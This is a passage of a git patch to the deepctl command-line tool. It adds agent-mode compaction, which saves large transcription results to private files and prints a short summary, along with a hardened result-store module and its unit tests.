--quiet. --full-output, on listen or the root, prints it all.

Files go in ~/.deepctl/results/ (0700), else in a private per-user
directory under the temp directory; a planted or shared one is refused
with a warning and a fresh one is used. They are created exclusively,
opened without following links and fsynced before stdout is written.
Pairs older than a day, then the oldest past 500 MB, are pruned. When
neither place can be written, the run fails with state_unwritable and
never prints the full result. Help specs regenerated.
---
 .../src/deepctl_cmd_listen/command.py         | 137 ++++++
 .../src/deepctl_cmd_listen/messages.py        |  32 ++
 .../tests/unit/test_listen_passthrough.py     | 161 ++++++-
 .../src/deepctl_core/result_store.py          | 411 ++++++++++++++++++
 .../tests/unit/test_result_store.py           | 182 ++++++++
 .../tests/unit/test_result_store_edges.py     | 286 ++++++++++++
 src/deepctl/_cli.py                           |  18 +
 src/deepctl/_manifest.d/listen.json           |  21 +
 src/deepctl/_manifest.d/transcribe.json       |  21 +
 9 files changed, 1267 insertions(+), 2 deletions(-)
 create mode 100644 packages/deepctl-core/src/deepctl_core/result_store.py
 create mode 100644 packages/deepctl-core/tests/unit/test_result_store.py
 create mode 100644 packages/deepctl-core/tests/unit/test_result_store_edges.py

diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index a29c32ce..9f683041 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -162,6 +162,28 @@ def _passthrough_body(client: DeepgramClient) -> bool:
     return not _sdk_json()
 
 
+# Agent-mode compaction: a result over 64 KiB is saved to a
+# file and stdout gets a summary with a preview of at most 2 KiB.
+COMPACT_THRESHOLD = 65536
+COMPACT_PREVIEW_BYTES = 2048
+
+
+def _human_bytes(n: int) -> str:
+    """``{full_result_bytes_human}``: decimal units, one decimal."""
+    if n >= 1_000_000:
+        return f"{n / 1_000_000:.1f} MB"
+    return f"{n / 1000:.1f} KB"
+
+
+def _root_full_output() -> bool:
+    """The root ``dg --full-output``, which the root group keeps in
+    ``ctx.meta``."""
+    from deepctl_core.result_store import FULL_OUTPUT_META
+
+    ctx = click.get_current_context(silent=True)
+    return bool(ctx is not None and ctx.meta.get(FULL_OUTPUT_META))
+
+
 def _live_engine() -> Any:
     """The live engine module, imported on first use (it loads asyncio)."""
     from . import live
@@ -293,6 +315,8 @@ class ListenCommand(BaseCommand):
     _live_kept: dict[str, Any] | None = None
     #: Writing the final result to stdout failed; the run exits 1.
     _output_failed: bool = False
+    #: --full-output (here or on the root): never compact the result.
+    _full_output: bool = False
 
     examples = [
         "dg listen audio.mp3",
@@ -480,6 +504,15 @@ def get_arguments(self) -> list[dict[str, Any]]:
                 "type": _TIMEOUT_TYPE,
                 "is_option": True,
             },
+            {
+                "names": ["--full-output"],
+                "help": (
+                    "In an AI agent session, print a large result in full "
+                    "instead of saving it to a file and printing a summary."
+                ),
+                "is_flag": True,
+                "is_option": True,
+            },
             # ── Caption output ────────────────────────────────────────
             {
                 "names": ["--webvtt"],
@@ -537,6 +570,7 @@ def handle(
         source: str | None = kwargs.get("source")
         use_mic: bool = kwargs.get("mic", False)
         guided_flow = False
+        self._full_output = bool(kwargs.get("full_output")) or _root_full_output()
         self._verbose = config.get("output.verbose", False) is True
 
         # ── Resolve mode ───────────────────────────────────────────────
@@ -1956,6 +1990,23 @@ def _default(obj: Any) -> str:
 
         # Pre-recorded: full structured output
         if fmt in ("json", "yaml", "text"):
+            if fmt == "json" and self._may_compact():
+                full = (
+                    result._body + b"\n"
+                    if result._body is not None
+                    else (
+                        _json.dumps(
+                            result.full_result or result.model_dump(exclude_none=True),
+                            indent=2,
+                            ensure_ascii=False,
+                            default=_default,
+                        )
+                        + "\n"
+                    ).encode()
+                )
+                if len(full) > COMPACT_THRESHOLD:
+                    self._write_stdout(self._compact(result, full))
+                    return
             if fmt == "json" and result._body is not None:
                 data = result._body
                 if _stdout_is_tty():
@@ -1986,6 +2037,92 @@ def _default(obj: Any) -> str:
         # Table / default: metadata + transcript
         self._print_prerecorded_result(result)
 
+    def _may_compact(self) -> bool:
+        """Compaction's conditions other than size: a hard AI
+        agent signal, a format chosen by detection rather than asked for,
+        no --full-output, and stdout neither a regular file nor the null
+        device."""
+        from deepctl_core.result_store import stdout_is_file_or_null
+
+        return (
+            get_output_format() == "json"
+            and format_source() not in ("explicit", "default")
+            and is_ai_agent()
+            and not self._full_output
+            and not stdout_is_file_or_null()
+        )
+
+    def _compact(self, result: ListenResult, full: bytes) -> bytes:
+        """Save ``full`` and the transcript to files and return the
+        summary for stdout, or, when no directory takes them, the
+        ``state_unwritable`` envelope (and the run exits 1)."""
+        from deepctl_core import result_store
+        from deepctl_core.login_state import state_dir
+        from deepctl_core.messages import display_path
+
+        text = result.transcript.strip()
+        text_bytes = (text + "\n").encode() if text else b""
+        size = _human_bytes(len(full))
+        prog = _prog()
+
+        def refused(path: str) -> None:
+            print_warning(
+                msg.W_COMPACT_TEMP_REFUSED.format(path=escape(path)),
+                stderr=True,
+                ignore_quiet=True,
+            )
+
+        state = state_dir()
+        try:
+            saved = result_store.save(full, text_bytes, state=state, warn=refused)
+        except result_store.ResultStoreError:
+            failure = self._coded_failure(
+                msg.E_COMPACT_UNWRITABLE.format(
+                    full_result_bytes_human=size,
+                    prog=prog,
+                    dir=display_path(state),
+                ),
+                code=msg.CODE_STATE_UNWRITABLE,
+                hint_human=msg.H_COMPACT_UNWRITABLE,
+                hint_agent=msg.A_COMPACT_UNWRITABLE,
+                details={"dir": str(state)},
+            )
+            self._output_failed = True
+            return (
+                json.dumps(failure.model_dump(), indent=2, ensure_ascii=False) + "\n"
+            ).encode()
+
+        sys.stderr.write(
+            "INFO: "
+            + msg.N_COMPACT.format(
+                full_result_bytes_human=size,
+                full_result_path=saved.full_result_path,
+            )
+            + "\n"
+        )
+        sys.stderr.flush()
+        metadata = (result.full_result or {}).get("metadata") or {}
+        compact: dict[str, Any] = {
+            "schema_version": 1,
+            "status": "success",
+            "truncated": True,
+            "full_result_path": str(saved.full_result_path),
+            "full_result_bytes": len(full),
+            "transcript_path": str(saved.transcript_path),
+            "transcript_chars": len(text),
+            "transcript_preview": text.encode()[:COMPACT_PREVIEW_BYTES].decode(
+                "utf-8", "ignore"
+            ),
+        }
+        if isinstance(metadata.get("request_id"), str):
+            compact["request_id"] = metadata["request_id"]
+        duration = metadata.get("duration")
+        if isinstance(duration, (int, float)) and not isinstance(duration, bool):
+            compact["duration_s"] = duration
+        compact["hint"] = msg.A_COMPACT
+        compact["next_step"] = None
+        return (json.dumps(compact, indent=2, ensure_ascii=False) + "\n").encode()
+
     def _write_stdout(self, data: bytes) -> None:
         """Write the prerecorded payload to stdout in one write.
 
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
index de8a6839..bf1b8ac9 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
@@ -105,3 +105,35 @@
 W_LISTEN_JSON_UNKNOWN = (
     "Ignoring DEEPCTL_LISTEN_JSON={value}: the only value it takes is sdk."
 )
+
+# Agent-mode compaction. N-COMPACT is printed after "INFO: ".
+CODE_STATE_UNWRITABLE = "state_unwritable"
+N_COMPACT = (
+    "The result is {full_result_bytes_human} so it was saved to "
+    "{full_result_path}; stdout has a summary. Pass --full-output to print "
+    "all of it."
+)
+A_COMPACT = (
+    "The full result is in full_result_path and the plain transcript in "
+    "transcript_path. Read those files in parts instead of printing them "
+    "whole. For jq pipelines, pass -o json."
+)
+E_COMPACT_UNWRITABLE = (
+    "The result is {full_result_bytes_human}, too large to print here, and "
+    "{prog} couldn't save it to {dir} or the temp directory."
+)
+H_COMPACT_UNWRITABLE = (
+    "Pass -o json and redirect stdout to a file, or pass --full-output to "
+    "print it all. Either one transcribes (and bills) the audio again."
+)
+A_COMPACT_UNWRITABLE = (
+    "Ask the user for a writable directory. Rerunning with -o json "
+    "redirected to a file there transcribes (and bills) the audio again. "
+    "Don't pass --full-output: the result is too large to read whole."
+)
+# The shared temp directory for results was another user's or a symlink;
+# a fresh private directory is used for this run instead.
+W_COMPACT_TEMP_REFUSED = (
+    "Not using {path} for saved results: it isn't a private directory owned "
+    "by you. Using a new temporary directory instead."
+)
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py b/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
index b5e47adf..d407d735 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
@@ -1,17 +1,21 @@
 """Prerecorded ``listen`` output (0.5.0): the server's body for ``-o json``,
-``-o yaml`` and ``-o text``, and ``DEEPCTL_LISTEN_JSON=sdk``."""
+``-o yaml`` and ``-o text``, ``DEEPCTL_LISTEN_JSON=sdk``, and agent-mode
+compaction."""
 
 from __future__ import annotations
 
 import json
+import os
+import stat
 import sys
+from pathlib import Path
 from typing import Any
 from unittest.mock import Mock
 
 import pytest
 import yaml
 from deepctl_cmd_listen import command as listen_cmd
-from deepctl_cmd_listen.command import ListenCommand
+from deepctl_cmd_listen.command import COMPACT_THRESHOLD, ListenCommand
 from deepctl_core import Config, login_state, output, transport
 
 SPARSE = (
@@ -214,3 +218,156 @@ def test_a_body_that_is_not_an_object_is_unreadable(monkeypatch):
     with pytest.raises(transport.TransportError) as err:
         run(rest_client(b"<html>portal</html>"))
     assert err.value.code == "network_unavailable"
+
+
+# ── Compaction ────────────────────────────────────────────────────────
+
+
+def agent(monkeypatch) -> None:
+    fmt(monkeypatch, "json", "hard_agent")
+    monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: True)
+
+
+def test_large_result_under_an_agent_is_compacted(monkeypatch, capsysbinary, tmp_path):
+    agent(monkeypatch)
+    body = big_body()
+    assert len(body) + 1 > COMPACT_THRESHOLD
+    run(rest_client(body))
+    captured = capsysbinary.readouterr()
+    assert len(captured.out) <= 4096
+    compact = json.loads(captured.out)
+    assert list(compact) == [
+        "schema_version",
+        "status",
+        "truncated",
+        "full_result_path",
+        "full_result_bytes",
+        "transcript_path",
+        "transcript_chars",
+        "transcript_preview",
+        "request_id",
+        "duration_s",
+        "hint",
+        "next_step",
+    ]
+    assert compact["truncated"] is True and compact["next_step"] is None
+    assert compact["request_id"] == "r-big" and compact["duration_s"] == 12.5
+    full = compact["full_result_path"]
+    assert Path(full).read_bytes() == body + b"\n"
+    assert compact["full_result_bytes"] == len(body) + 1
+    assert stat.S_IMODE(os.stat(full).st_mode) == 0o600
+    text = json.loads(body)["results"]["channels"][0]["alternatives"][0]["transcript"]
+    assert Path(compact["transcript_path"]).read_text() == text + "\n"
+    assert compact["transcript_chars"] == len(text)
+    assert len(compact["transcript_preview"].encode()) <= 2048
+    assert text.startswith(compact["transcript_preview"])
+    assert full.startswith(str((tmp_path / "state" / "results").resolve()))
+    notice = [line for line in captured.err.decode().splitlines() if "saved to" in line]
+    assert len(notice) == 1
+    assert notice[0].startswith("INFO: The result is 299.0 KB so it was saved to ")
+    assert full in notice[0] and "--full-output" in notice[0]
+
+
+def test_preview_never_splits_a_code_point(monkeypatch, capsysbinary):
+    agent(monkeypatch)
+    text = "é" * 40000
+    body = json.dumps(
+        {"results": {"channels": [{"alternatives": [{"transcript": text}]}]}},
+        ensure_ascii=False,
+    ).encode()
+    run(rest_client(body))
+    preview = json.loads(capsysbinary.readouterr().out)["transcript_preview"]
+    assert preview == "é" * 1024
+
+
+@pytest.mark.parametrize(
+    "case",
+    ["small", "explicit", "soft", "full_output", "regular_file", "no_agent", "text"],
+)
+def test_compaction_boundaries(monkeypatch, capsysbinary, case):
+    agent(monkeypatch)
+    body = big_body()
+    full_output = False
+    if case == "small":
+        body = SPARSE
+    elif case == "explicit":
+        fmt(monkeypatch, "json", "explicit")
+    elif case == "soft":
+        fmt(monkeypatch, "json", "soft")
+        monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: False)
+    elif case == "full_output":
+        full_output = True
+    elif case == "regular_file":
+        monkeypatch.setattr(
+            "deepctl_core.result_store.stdout_is_file_or_null", lambda: True
+        )
+    elif case == "no_agent":
+        monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: False)
+    elif case == "text":
+        fmt(monkeypatch, "text", "explicit")
+    run(rest_client(body), full_output=full_output)
+    out = capsysbinary.readouterr().out
+    if case == "text":
+        assert not out.startswith(b"{")
+    else:
+        assert out == body + b"\n"
+
+
+def test_exactly_the_threshold_is_not_compacted(monkeypatch, capsysbinary):
+    agent(monkeypatch)
+    body = b'{"x":"' + b"a" * (COMPACT_THRESHOLD - 9) + b'"}'
+    assert len(body) + 1 == COMPACT_THRESHOLD
+    run(rest_client(body))
+    assert capsysbinary.readouterr().out == body + b"\n"
+
+
+def test_sdk_shape_is_compacted_too(monkeypatch, capsysbinary):
+    agent(monkeypatch)
+    monkeypatch.setenv("DEEPCTL_LISTEN_JSON", "sdk")
+    client = rest_client()
+    client.transcribe_file.return_value = json.loads(big_body())
+    run(client)
+    compact = json.loads(capsysbinary.readouterr().out)
+    saved = Path(compact["full_result_path"]).read_bytes()
+    assert saved.startswith(b"{\n  ") and saved.endswith(b"}\n")
+
+
+def test_nowhere_to_save_is_state_unwritable(monkeypatch, capsysbinary, tmp_path):
+    from deepctl_core import result_store
+
+    agent(monkeypatch)
+
+    def fail(*a: Any, **kw: Any) -> Any:
+        raise result_store.ResultStoreError(tmp_path / "state")
+
+    monkeypatch.setattr(result_store, "save", fail)
+    command, _ = run(rest_client(big_body()))
+    captured = capsysbinary.readouterr()
+    payload = json.loads(captured.out)
+    assert payload["code"] == "state_unwritable"
+    assert payload["next_step"] is None
+    assert payload["details"] == {"dir": str(tmp_path / "state")}
+    assert "too large to print here" in payload["error"]
+    assert b"word" not in captured.out  # never the full result
+    assert command.exit_code_for(None) == 1
+
+
+def test_root_full_output_is_read_from_the_context():
+    import click
+    from deepctl_core import result_store
+
+    @click.command()
+    @click.pass_context
+    def probe(ctx: click.Context) -> None:
+        ctx.meta[result_store.FULL_OUTPUT_META] = True
+        assert listen_cmd._root_full_output() is True
+
+    probe.main([], standalone_mode=False)
+    assert listen_cmd._root_full_output() is False
+
+
+@pytest.mark.parametrize(
+    ("n", "text"), [(65537, "65.5 KB"), (999_999, "1000.0 KB"), (7_658_261, "7.7 MB")]
+)
+def test_human_size(n, text):
+    assert listen_cmd._human_bytes(n) == text
diff --git a/packages/deepctl-core/src/deepctl_core/result_store.py b/packages/deepctl-core/src/deepctl_core/result_store.py
new file mode 100644
index 00000000..53ab0ff3
--- /dev/null
+++ b/packages/deepctl-core/src/deepctl_core/result_store.py
@@ -0,0 +1,411 @@
+"""Where a result too large to print in an agent session is kept.
+
+``save()`` writes the full payload and its plain transcript as a pair of
+files, ``{UTC %Y%m%dT%H%M%SZ}-{8 hex}.json`` and ``.txt``, mode 0600,
+created with ``O_CREAT|O_EXCL`` and fsynced before it returns. The pair
+goes in ``{state_dir}/results/`` (0700). If that can't be written, it goes
+in ``{tempdir}/deepctl-{euid}/results/``: that directory is used only when
+it is a real directory owned by this user that nobody else can write (a
+group- or other-readable one is tightened to 0700); otherwise a fresh
+``mkdtemp`` directory is used for this run and one warning names the
+refused path. The same goes for a ``results`` entry there that isn't such
+a directory: a FIFO, a device or a symlink is never opened for reading or
+followed. Files are opened relative to the checked directory with
+``O_NOFOLLOW``. A partial file is removed before the next location is
+tried. Each write prunes its directory: pairs older than 24 hours, then
+the oldest while the directory holds more than 500 MB.
+
+On Windows the pair goes in ``{state_dir}/results/``, else in
+``{tempdir}/deepctl/results/`` (the temp directory is already per-user);
+a directory that is a symlink or junction is refused there too.
+"""
+
+from __future__ import annotations
+
+import os
+import re
+import secrets
+import stat
+import sys
+import time
+from dataclasses import dataclass
+from pathlib import Path
+from typing import TYPE_CHECKING
+
+if TYPE_CHECKING:
+    from collections.abc import Callable
+
+RESULTS = "results"
+# The ctx.meta key the root --full-output sets; dg listen reads it.
+FULL_OUTPUT_META = "deepctl.full_output"
+MAX_AGE_S = 24 * 3600
+MAX_TOTAL_BYTES = 500 * 1000 * 1000
+
+_O_NOFOLLOW = getattr(os, "O_NOFOLLOW", 0)
+_O_DIRECTORY = getattr(os, "O_DIRECTORY", 0)
+_O_BINARY = getattr(os, "O_BINARY", 0)
+# A FIFO opened for reading waits for a writer; with this it doesn't.
+_O_NONBLOCK = getattr(os, "O_NONBLOCK", 0)
+_DIR_FLAGS = os.O_RDONLY | _O_DIRECTORY | _O_NOFOLLOW | _O_NONBLOCK
+_NAME = re.compile(r"^\d{8}T\d{6}Z-[0-9a-f]{8}\.(json|txt)$")
+
+
+class ResultStoreError(OSError):
+    """Neither the state directory nor the temp directory took the files."""
+
+    def __init__(self, directory: Path) -> None:
+        super().__init__(f"couldn't save the result in {directory}")
+        self.directory = directory
+
+
+@dataclass(frozen=True)
+class Saved:
+    """Absolute paths of the files ``save()`` wrote."""
+
+    full_result_path: Path
+    transcript_path: Path
+
+
+def _posix() -> bool:
+    return os.name != "nt" and os.open in os.supports_dir_fd
+
+
+def _stem() -> str:
+    return f"{time.strftime('%Y%m%dT%H%M%SZ', time.gmtime())}-{secrets.token_hex(4)}"
+
+
+# ── POSIX: everything relative to a checked directory descriptor ─────
+
+
+def _checked_dir_fd(path: Path, *, create: bool, tighten: bool = True) -> int | None:
+    """An fd for ``path`` when it is a real directory owned by this user
+    that nobody else can write (tightened to 0700 unless ``tighten`` is
+    false); else ``None``."""
+    if create:
+        try:
+            os.mkdir(path, 0o700)
+        except FileExistsError:
+            pass
+        except OSError:
+            return None
+    try:
+        st = os.lstat(path)
+        if stat.S_ISLNK(st.st_mode) or not stat.S_ISDIR(st.st_mode):
+            return None
+        fd = os.open(path, _DIR_FLAGS)
+    except OSError:
+        return None
+    try:
+        st = os.fstat(fd)
+        if (
+            not stat.S_ISDIR(st.st_mode)
+            or st.st_uid != os.geteuid()
+            or st.st_mode & 0o022
+        ):
+            os.close(fd)
+            return None
+        if tighten and st.st_mode & 0o077:
+            os.fchmod(fd, 0o700)
+        return fd
+    except OSError:
+        os.close(fd)
+        return None
+
+
+def _results_fd(parent_fd: int) -> int | None:
+    try:
+        os.mkdir(RESULTS, 0o700, dir_fd=parent_fd)
+    except FileExistsError:
+        pass
+    except OSError:
+        return None
+    try:
+        # A FIFO, device or symlink here is refused before it is opened.
+        st = os.stat(RESULTS, dir_fd=parent_fd, follow_symlinks=False)
+        if not stat.S_ISDIR(st.st_mode):
+            return None
+        fd = os.open(RESULTS, _DIR_FLAGS, dir_fd=parent_fd)
+    except OSError:
+        return None
+    try:
+        st = os.fstat(fd)
+        if (
+            not stat.S_ISDIR(st.st_mode)
+            or st.st_uid != os.geteuid()
+            or st.st_mode & 0o022
+        ):
+            os.close(fd)
+            return None
+        if st.st_mode & 0o077:
+            os.fchmod(fd, 0o700)
+        return fd
+    except OSError:
+        os.close(fd)
+        return None
+
+
+def _write_all(fd: int, data: bytes) -> None:
+    """Write all of ``data`` (``os.write`` may take part of it) and fsync."""
+    view = memoryview(data)
+    while view:
+        view = view[os.write(fd, view) :]
+    os.fsync(fd)
+
+
+def _write_at(dir_fd: int, name: str, data: bytes) -> None:
+    fd = os.open(
+        name,
+        os.O_WRONLY | os.O_CREAT | os.O_EXCL | _O_NOFOLLOW | _O_BINARY,
+        0o600,
+        dir_fd=dir_fd,
+    )
+    try:
+        _write_all(fd, data)
+    finally:
+        os.close(fd)
+
+
+def _save_at(dir_fd: int, full: bytes, text: bytes) -> str | None:
+    stem = _stem()
+    # Names this call created: a partial file is removed, while one that
+    # was already there (O_EXCL refused it) is never touched.
+    created: list[str] = []
+    try:
+        for suffix, data in ((".json", full), (".txt", text)):
+            name = stem + suffix
+            created.append(name)
+            try:
+                _write_at(dir_fd, name, data)
+            except FileExistsError:
+                created.pop()
+                raise
+    except OSError:
+        for name in created:
+            try:
+                os.unlink(name, dir_fd=dir_fd)
+            except OSError:
+                pass
+        return None
+    try:
+        os.fsync(dir_fd)
+    except OSError:
+        pass  # not every file system syncs a directory
+    _prune_at(dir_fd, keep=stem)
+    return stem
+
+
+def _prune_at(dir_fd: int, keep: str) -> None:
+    _prune(
+        lambda: os.listdir(dir_fd),
+        lambda name: os.stat(name, dir_fd=dir_fd, follow_symlinks=False),
+        lambda name: os.unlink(name, dir_fd=dir_fd),
+        keep,
+    )
+
+
+def _prune(
+    listdir: Callable[[], list[str]],
+    lstat: Callable[[str], os.stat_result],
+    unlink: Callable[[str], None],
+    keep: str,
+) -> None:
+    """Drop pairs older than ``MAX_AGE_S``, then the oldest while the
+    directory holds more than ``MAX_TOTAL_BYTES``; never ``keep``. Only
+    regular files with dg's own names are touched."""
+    try:
+        names = [n for n in listdir() if _NAME.match(n)]
+    except OSError:
+        return
+    pairs: dict[str, list[tuple[str, os.stat_result]]] = {}
+    for name in names:
+        try:
+            st = lstat(name)
+        except OSError:
+            continue
+        if stat.S_ISREG(st.st_mode):
+            pairs.setdefault(name.rsplit(".", 1)[0], []).append((name, st))
+    now = time.time()
+
+    def drop(stem: str) -> None:
+        for name, _ in pairs.pop(stem, []):
+            try:
+                unlink(name)
+            except OSError:
+                pass
+
+    for stem in list(pairs):
+        if stem != keep and all(now - st.st_mtime > MAX_AGE_S for _, st in pairs[stem]):
+            drop(stem)
+    oldest = sorted(
+        (s for s in pairs if s != keep),
+        key=lambda s: min(st.st_mtime for _, st in pairs[s]),
+    )
+    total = sum(st.st_size for files in pairs.values() for _, st in files)
+    for stem in oldest:
+        if total <= MAX_TOTAL_BYTES:
+            break
+        total -= sum(st.st_size for _, st in pairs[stem])
+        drop(stem)
+
+
+class _Refused(Exception):
+    """The directory, or its ``results`` entry, isn't a private directory."""
+
+    def __init__(self, path: Path) -> None:
+        super().__init__(str(path))
+        self.path = path
+
+
+def _save_under(
+    base: Path, base_fd: int | None, full: bytes, text: bytes
+) -> Saved | None:
+    """Save the pair in ``base/results``; ``None`` when a write failed.
+
+    Raises :class:`_Refused` naming what was refused: ``base`` when
+    ``base_fd`` is ``None``, else a ``results`` entry that isn't a private
+    directory (a FIFO, say).
+    """
+    if base_fd is None:
+        raise _Refused(base)
+    try:
+        fd = _results_fd(base_fd)
+    finally:
+        os.close(base_fd)
+    if fd is None:
+        raise _Refused(base / RESULTS)
+    try:
+        stem = _save_at(fd, full, text)
+    finally:
+        os.close(fd)
+    if stem is None:
+        return None
+    results = base.resolve() / RESULTS
+    return Saved(results / f"{stem}.json", results / f"{stem}.txt")
+
+
+def _save_posix(
+    state: Path, full: bytes, text: bytes, warn: Callable[[str], None]
+) -> Saved:
+    import tempfile
+
+    # 1. {state_dir}/results/
+    try:
+        os.makedirs(state, 0o700, exist_ok=True)
+    except OSError:
+        pass
+    try:
+        saved = _save_under(
+            state, _checked_dir_fd(state, create=False, tighten=False), full, text
+        )
+    except _Refused:
+        saved = None
+    if saved is not None:
+        return saved
+    # 2. {tempdir}/deepctl-{euid}/results/, or a fresh mkdtemp directory
+    # when that (or its results entry) is refused.
+    tmp = Path(tempfile.gettempdir()) / f"deepctl-{os.geteuid()}"
+    try:
+        saved = _save_under(tmp, _checked_dir_fd(tmp, create=True), full, text)
+    except _Refused as refused:
+        try:
+            fresh = Path(tempfile.mkdtemp(prefix=f"deepctl-{os.geteuid()}-"))
+        except OSError:
+            raise ResultStoreError(state) from None
+        warn(str(refused.path))
+        try:
+            saved = _save_under(fresh, _checked_dir_fd(fresh, create=False), full, text)
+        except _Refused:
+            saved = None
+    if saved is not None:
+        return saved
+    raise ResultStoreError(state)
+
+
+# ── Windows: the temp directory is already per-user ──────────────────
+
+
+def _is_plain_dir(path: Path) -> bool:
+    """A directory that is not a symlink, junction or other reparse point."""
+    try:
+        st = os.lstat(path)
+    except OSError:
+        return False
+    attrs = getattr(st, "st_file_attributes", 0)
+    reparse = attrs & getattr(stat, "FILE_ATTRIBUTE_REPARSE_POINT", 0x400)
+    return stat.S_ISDIR(st.st_mode) and not stat.S_ISLNK(st.st_mode) and not reparse
+
+
+def _save_paths(directory: Path, full: bytes, text: bytes) -> Saved | None:
+    try:
+        directory.mkdir(parents=True, exist_ok=True)
+    except OSError:
+        return None
+    if not _is_plain_dir(directory):
+        return None
+    stem = _stem()
+    paths = [directory / f"{stem}.json", directory / f"{stem}.txt"]
+    created: list[Path] = []  # as in _save_at
+    try:
+        for path, data in zip(paths, (full, text), strict=True):
+            fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | _O_BINARY, 0o600)
+            created.append(path)
+            try:
+                _write_all(fd, data)
+            finally:
+                os.close(fd)
+    except OSError:
+        for path in created:
+            try:
+                path.unlink()
+            except OSError:
+                pass
+        return None
+    _prune(
+        lambda: os.listdir(directory),
+        lambda name: os.lstat(directory / name),
+        lambda name: os.unlink(directory / name),
+        stem,
+    )
+    return Saved(paths[0].resolve(), paths[1].resolve())
+
+
+def save(
+    full: bytes,
+    text: bytes,
+    *,
+    state: Path,
+    warn: Callable[[str], None] | None = None,
+) -> Saved:
+    """Write ``full`` (the payload stdout would have had) and ``text`` (the
+    plain transcript) as a pair; raise :class:`ResultStoreError` naming
+    ``state`` when no location takes them. ``warn`` gets the path of a temp
+    directory that was refused (another user's, or a symlink)."""
+    if _posix():
+        return _save_posix(state, full, text, warn or (lambda _refused: None))
+    import tempfile
+
+    for directory in (
+        state / RESULTS,
+        Path(tempfile.gettempdir()) / "deepctl" / RESULTS,
+    ):
+        saved = _save_paths(directory, full, text)
+        if saved is not None:
+            return saved
+    raise ResultStoreError(state)
+
+
+def stdout_is_file_or_null() -> bool:
+    """True when stdout is a regular file or the null device: a result
+    redirected there is never compacted."""
+    try:
+        st = os.fstat(sys.stdout.fileno())
+    except (AttributeError, OSError, ValueError):
+        return False
+    if stat.S_ISREG(st.st_mode):
+        return True
+    if stat.S_ISCHR(st.st_mode):
+        try:
+            return st.st_rdev == os.stat(os.devnull).st_rdev
+        except OSError:
+            return False
+    return False
diff --git a/packages/deepctl-core/tests/unit/test_result_store.py b/packages/deepctl-core/tests/unit/test_result_store.py
new file mode 100644
index 00000000..9a57d911
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_result_store.py
@@ -0,0 +1,182 @@
+"""Files for compacted results: modes, fallback, pruning."""
+
+from __future__ import annotations
+
+import os
+import stat
+import sys
+import tempfile
+import time
+from pathlib import Path  # noqa: TC003
+
+import pytest
+from deepctl_core import result_store
+
+pytestmark = pytest.mark.skipif(
+    sys.platform == "win32", reason="POSIX modes and descriptors"
+)
+
+
+@pytest.fixture
+def tmp_root(tmp_path, monkeypatch):
+    tmp = tmp_path / "tmp"
+    tmp.mkdir()
+    monkeypatch.setattr(tempfile, "gettempdir", lambda: str(tmp))
+    return tmp
+
+
+def mode(path: Path) -> int:
+    return stat.S_IMODE(os.lstat(path).st_mode)
+
+
+def test_pair_is_written_private_under_the_state_dir(tmp_path, tmp_root):
+    state = tmp_path / "state"
+    saved = result_store.save(b'{"a":1}\n', b"hello\n", state=state)
+    assert saved.full_result_path.parent == (state / "results").resolve()
+    assert saved.full_result_path.is_absolute()
+    assert saved.full_result_path.read_bytes() == b'{"a":1}\n'
+    assert saved.transcript_path.read_bytes() == b"hello\n"
+    assert saved.full_result_path.stem == saved.transcript_path.stem
+    assert result_store._NAME.match(saved.full_result_path.name)
+    assert mode(state / "results") == 0o700
+    assert mode(saved.full_result_path) == 0o600
+    assert mode(saved.transcript_path) == 0o600
+
+
+@pytest.mark.skipif(
+    hasattr(os, "geteuid") and os.geteuid() == 0,
+    reason="root ignores directory modes",
+)
+def test_unwritable_state_dir_falls_back_to_the_user_temp_dir(tmp_path, tmp_root):
+    state = tmp_path / "ro"
+    state.mkdir()
+    os.chmod(state, 0o500)
+    try:
+        saved = result_store.save(b"{}\n", b"", state=state)
+    finally:
+        os.chmod(state, 0o700)
+    expected = (tmp_root / f"deepctl-{os.geteuid()}" / "results").resolve()
+    assert saved.full_result_path.parent == expected
+    assert mode(tmp_root / f"deepctl-{os.geteuid()}") == 0o700
+
+
+def test_own_readable_temp_dir_is_tightened(tmp_path, tmp_root):
+    mine = tmp_root / f"deepctl-{os.geteuid()}"
+    mine.mkdir(mode=0o755)
+    os.chmod(mine, 0o755)
+    state = tmp_path / "file"
+    state.write_text("not a directory")
+    saved = result_store.save(b"{}\n", b"", state=state)
+    assert saved.full_result_path.parent == (mine / "results").resolve()
+    assert mode(mine) == 0o700
+
+
+@pytest.mark.parametrize("plant", ["symlink", "writable"])
+def test_planted_temp_dir_is_refused_with_one_warning(tmp_path, tmp_root, plant):
+    name = tmp_root / f"deepctl-{os.geteuid()}"
+    elsewhere = tmp_path / "elsewhere"
+    elsewhere.mkdir()
+    if plant == "symlink":
+        name.symlink_to(elsewhere)
+    else:
+        name.mkdir()
+        os.chmod(name, 0o777)
+    state = tmp_path / "file"
+    state.write_text("not a directory")
+    warned: list[str] = []
+    saved = result_store.save(b"{}\n", b"", state=state, warn=warned.append)
+    assert warned == [str(name)]
+    assert not str(saved.full_result_path).startswith(str(elsewhere.resolve()))
+    assert saved.full_result_path.parent.parent.name.startswith(
+        f"deepctl-{os.geteuid()}-"
+    )
+    assert list(elsewhere.iterdir()) == []
+
+
+@pytest.mark.skipif(
+    hasattr(os, "geteuid") and os.geteuid() == 0,
+    reason="root ignores directory modes",
+)
+def test_both_failing_raises_with_the_state_dir(tmp_path, tmp_root, monkeypatch):
+    state = tmp_path / "file"
+    state.write_text("not a directory")
+    os.chmod(tmp_root, 0o500)
+    monkeypatch.setattr(
